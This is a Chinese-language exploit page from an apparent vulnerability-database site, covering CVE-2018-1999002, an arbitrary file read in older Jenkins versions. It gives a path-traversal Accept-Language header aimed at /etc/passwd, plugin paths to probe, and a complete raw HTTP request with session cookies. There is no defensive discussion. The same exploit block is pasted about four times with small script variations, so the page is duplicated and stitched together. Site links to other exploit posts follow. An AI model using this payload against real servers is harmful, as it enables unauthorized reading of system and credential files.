CVE-2018-1999002_任意文件讀取漏洞_zh-cn

000

# CVE-2018-1999002 任意文件讀取漏洞/zh-cn

==影響版本==
Jenkins weekly 2.132 以及更早的版本
Jenkins LTS 2.121.1 以及更早的版本
可以讀取Windows系統服務器中的任意文件，且在特定而條件下也可以讀取Linux系統服務器中的文件.
==漏洞利用==
需要已經開啟了匿名用戶讀取權限，在請求頭中添加：
Accept-Language: /../../../../../../../../etc/passwd
處理請求中的包含路徑，比如/plugin/xxxx，可以嘗試:
/plugin/jquery-detached/.xml
/plugin/jquery-detached/.key
/plugin/credentials/.ini

Windows:

GET /plugin/credentials/.ini HTTP/1.1
Host: x.x.x.x:8080
Accept: text/javascript, text/html, application/xml, text/xml, */*
X-Prototype-Version: 1.7
DNT: 1
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.106 Safari/537.36
Origin: http://x.x.x.x:8080
Referer: http://x.x.x.x:8080/
Accept-Encoding: gzip, deflate
Accept-Language: /../../../../../../../../etc/passwd
Cookie: JSESSIONID.450017e3=x6kdpnkcgllh18wvlaohsqq8z; screenResolution=1920x1080; JSESSIONID.ccf0cd96=node09crp5bs5eglyrv874no3w48l0.node0; JSESSIONID.6551b177=14vcq2nsop6bw1u8urepj65kwv; td_cookie=1608956971
Connection: close

==影响版本==
Jenkins weekly 2.132以及更早的版本
Jenkins LTS 2.121.1以及更早的版本

可以讀取Windows系統服務器中的任意文件，且在特定而條件下也可以讀取Linux系統服務器中的文件.
==漏洞利用==
需要已經開啟了匿名用戶讀取權限，在請求頭中添加：
Accept-Language: /../../../../../../../../etc/passwd
處理請求中的包含路徑，比如/plugin/xxxx，可以嘗試:
/plugin/jquery-detached/.xml
/plugin/jquery-detached/.key
/plugin/credentials/.ini

Windows:

GET /plugin/credentials/.ini HTTP/1.1
Host: x.x.x.x:8080
Accept: text/javascript, text/html, application/xml, text/xml, */*
X-Prototype-Version: 1.7
DNT: 1
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.106 Safari/537.36
Origin: http://x.x.x.x:8080
Referer: http://x.x.x.x:8080/
Accept-Encoding: gzip, deflate
Accept-Language: /../../../../../../../../etc/passwd
Cookie: JSESSIONID.450017e3=x6kdpnkcgllh18wvlaohsqq8z; screenResolution=1920x1080; JSESSIONID.ccf0cd96=node09crp5bs5eglyrv874no3w48l0.node0; JSESSIONID.6551b177=14vcq2nsop6bw1u8urepj65kwv; td_cookie=1608956971
Connection: close

==影响版本==
Jenkins weekly 2.132以及更早的版本
Jenkins LTS 2.121.1以及更早的版本

可以读取Windows系统服务器中的任意文件，且在特定条件下也可以读取Linux系统服务器中的文件。

==漏洞利用==
需要已經開啟了匿名用戶讀取權限，在請求頭中添加：
Accept-Language: /../../../../../../../../etc/passwd
處理請求中的包含路徑，比如/plugin/xxxx，可以嘗試:
/plugin/jquery-detached/.xml
/plugin/jquery-detached/.key
/plugin/credentials/.ini

Windows:

GET /plugin/credentials/.ini HTTP/1.1
Host: x.x.x.x:8080
Accept: text/javascript, text/html, application/xml, text/xml, */*
X-Prototype-Version: 1.7
DNT: 1
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.106 Safari/537.36
Origin: http://x.x.x.x:8080
Referer: http://x.x.x.x:8080/
Accept-Encoding: gzip, deflate
Accept-Language: /../../../../../../../../etc/passwd
Cookie: JSESSIONID.450017e3=x6kdpnkcgllh18wvlaohsqq8z; screenResolution=1920x1080; JSESSIONID.ccf0cd96=node09crp5bs5eglyrv874no3w48l0.node0; JSESSIONID.6551b177=14vcq2nsop6bw1u8urepj65kwv; td_cookie=1608956971
Connection: close

==影响版本==
Jenkins weekly 2.132以及更早的版本
Jenkins LTS 2.121.1以及更早的版本

可以读取Windows系统服务器中的任意文件，且在特定条件下也可以读取Linux系统服务器中的文件。

==漏洞利用==
需要已经开启了匿名用户读取权限，在请求头中添加：

Accept-Language: /../../../../../../../../etc/passwd
處理請求中的包含路徑，比如/plugin/xxxx，可以嘗試:
/plugin/jquery-detached/.xml
/plugin/jquery-detached/.key
/plugin/credentials/.ini

Windows:

GET /plugin/credentials/.ini HTTP/1.1
Host: x.x.x.x:8080
Accept: text/javascript, text/html, application/xml, text/xml, */*
X-Prototype-Version: 1.7
DNT: 1
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.106 Safari/537.36
Origin: http://x.x.x.x:8080
Referer: http://x.x.x.x:8080/
Accept-Encoding: gzip, deflate
Accept-Language: /../../../../../../../../etc/passwd
Cookie: JSESSIONID.450017e3=x6kdpnkcgllh18wvlaohsqq8z; screenResolution=1920x1080; JSESSIONID.ccf0cd96=node09crp5bs5eglyrv874no3w48l0.node0; JSESSIONID.6551b177=14vcq2nsop6bw1u8urepj65kwv; td_cookie=1608956971
Connection: close

==影响版本==
Jenkins weekly 2.132以及更早的版本
Jenkins LTS 2.121.1以及更早的版本

可以读取Windows系统服务器中的任意文件，且在特定条件下也可以读取Linux系统服务器中的文件。

==漏洞利用==
需要已经开启了匿名用户读取权限，在请求头中添加：

Accept-Language: /../../../../../../../../etc/passwd

处理请求中的包含路径，比如/plugin/xxxx，可以尝试：

/plugin/jquery-detached/.xml
/plugin/jquery-detached/.key
/plugin/credentials/.ini

Windows:

GET /plugin/credentials/.ini HTTP/1.1
Host: x.x.x.x:8080
Accept: text/javascript, text/html, application/xml, text/xml, */*
X-Prototype-Version: 1.7
DNT: 1
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.106 Safari/537.36
Origin: http://x.x.x.x:8080
Referer: http://x.x.x.x:8080/
Accept-Encoding: gzip, deflate
Accept-Language: /../../../../../../../../etc/passwd
Cookie: JSESSIONID.450017e3=x6kdpnkcgllh18wvlaohsqq8z; screenResolution=1920x1080; JSESSIONID.ccf0cd96=node09crp5bs5eglyrv874no3w48l0.node0; JSESSIONID.6551b177=14vcq2nsop6bw1u8urepj65kwv; td_cookie=1608956971
Connection: close
© 版权声明
文章版权归作者所有，未经允许请勿转载。
THE END
国内漏洞库
喜欢就支持一下吧
点赞0 分享
棉花糖的头像-棉花糖会员站年费会员
会员必看手册（20241201版本）-棉花糖会员站
会员必看手册（20241201版本）
会员必看手册（20241201版本）
9月20日 1.8W+
技术文章投稿兑换会员规则-棉花糖会员站
技术文章投稿兑换会员规则
技术文章投稿兑换会员规则
3月25日 3621
独家!超强代码审计工具上线！免费会员等你来嫖！-棉花糖会员站
独家!超强代码审计工具上线！免费会员等你来嫖！
独家!超强代码审计工具上线！免费会员等你来嫖！
11月17日 3568
已开奖！国庆抽奖，猫咪赞助安全课程300份-棉花糖会员站
已开奖！国庆抽奖，猫咪赞助安全课程300份
已开奖！国庆抽奖，猫咪赞助安全课程300份
9月29日 3074
上心-SRC培训课-棉花糖会员站
上心-SRC培训课
上心-SRC培训课
5月7日 2429
王老师src真正的完整版（49个学生分享视频版本）-棉花糖会员站
王老师src真正的完整版（49个学生分享视频版本）
王老师src真正的完整版（49个学生分享视频版本）
6月8日 2403
相关推荐
海康威视漏洞合集-棉花糖会员站
海康威视漏洞合集
海康威视漏洞合集
6月1日 1110
易思智能物流无人值守系统 login SQL注入-棉花糖会员站
易思智能物流无人值守系统 login SQL注入
易思智能物流无人值守系统 login SQL注入
11月6日 785
湖南强智教务管理系统存在 任意文件下载-棉花糖会员站
湖南强智教务管理系统存在 任意文件下载
湖南强智教务管理系统存在 任意文件下载
10月21日 718
投稿：多个poc-棉花糖会员站
投稿：多个poc
投稿：多个poc
10月19日 647
金蝶天燕ApusicServer servicefactoryservice 远程命令执行-棉花糖会员站
金蝶天燕ApusicServer servicefactoryservice 远程命令执行
金蝶天燕ApusicServer servicefactoryservice 远程命令执行
10月24日 645
用友U8 Cloud 多处反序列化RCE-棉花糖会员站
用友U8 Cloud 多处反序列化RCE
用友U8 Cloud 多处反序列化RCE
12月8日 620
评论 抢沙发

请登录后发表评论

    请登录后查看评论内容

作者
用户封面
棉花糖的头像-棉花糖会员站年费会员
蓝凌EKP系统接口sysFormMainDataInsystemWebservice 任意文件读取
蓝凌EIS fl_define_edit.aspx SQL注入
神州数码DCME-320 未授权访问
神州数码DCME-320 online_list.php任意文件读取
用友U8 Cloud ReleaseRepMngAction SQL注入 (CNVD-2024-33023)
用友-友数聚科技CPAS审计管理系统V4 downPlugs 任意文件读取
最近一周热门文章

1老外百万赏金猎人直播课录屏第三课、第四课

棉花糖的头像-棉花糖会员站年费会员12月22日
9999647

2基于Vue+Springboot+Flask+Pytorch的视频网站，深度学习部分使用Flask封装Pytorch代码接口

xuanyimo的头像-棉花糖会员站年费会员12月26日
502

32022-2023韩顺平java课程

kerjo的头像-棉花糖会员站年费会员12月26日
461

4老外百万赏金猎人直播课录屏第五课

棉花糖的头像-棉花糖会员站年费会员12月26日
9999456

5AI PPT 创作实战课+人人都是 prompt 工程师

wxf3753的头像-棉花糖会员站年费会员12月26日
442

6用友U8 Cloud ReleaseRepMngAction SQL注入 (CNVD-2024-33023)

棉花糖的头像-棉花糖会员站年费会员12月26日
9999404
标签云
龙浏览器未引用的服务路径特权升级齿轮地理位置查询鼠标鼠标按钮命令注入远程鼠标远程代码执行鼠标远程代码鼠标路径遍历鼠标本地文件包含鼠标未引用的服务路径鼠标事件状态栏鼠标默认错误页面跨站点脚本默认配置远程代码执行默认管理员凭据默认的调制解调器上的密码硬件远程默认权限默认权利默认弱密码编码默认密码默认安全性硬件远程默认和弱加密